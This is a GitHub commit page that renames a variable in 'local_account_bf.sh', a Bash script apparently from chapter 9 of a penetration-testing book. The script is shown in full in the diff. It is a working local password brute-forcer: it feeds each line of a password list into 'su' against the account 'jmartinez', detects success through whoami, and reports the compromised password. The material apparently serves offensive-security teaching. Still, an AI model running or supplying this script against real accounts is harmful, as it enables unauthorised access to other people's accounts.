Skip to content

Commit

Permalink
Update local_account_bf.sh
Browse files Browse the repository at this point in the history
Rename variable
  • Loading branch information
dolevf authored Oct 11, 2023
1 parent 43b0df8 commit cb61a5b
Showing 1 changed file with 6 additions and 6 deletions.
12 changes: 6 additions & 6 deletions ch09/local_account_bf.sh
Original file line number Diff line number Diff line change
@@ -1,5 +1,5 @@
#!/bin/bash
USERNAME="jmartinez"
USER="jmartinez"
PASSWORD_FILE="passwords.txt"

if [[ ! -f "${PASSWORD_FILE}" ]]; then
Expand All @@ -8,14 +8,14 @@ if [[ ! -f "${PASSWORD_FILE}" ]]; then
fi

while read -r password; do
echo "Attempting password: ${password} against ${USERNAME}..."
if echo "${password}" | timeout 0.2 su - ${USERNAME} -c 'whoami' | grep -q "${USERNAME}"; then
echo "Attempting password: ${password} against ${USER}..."
if echo "${password}" | timeout 0.2 su - ${USER} -c 'whoami' | grep -q "${USER}"; then
echo
echo "SUCCESS! The password for ${USERNAME} is ${password}"
echo "Use su - ${USERNAME} and provide the password to switch"
echo "SUCCESS! The password for ${USER} is ${password}"
echo "Use su - ${USER} and provide the password to switch"
exit 0
fi
done < "${PASSWORD_FILE}"

echo "Unable to compromise ${USERNAME}."
echo "Unable to compromise ${USER}."
exit 1

0 comments on commit cb61a5b

Please sign in to comment.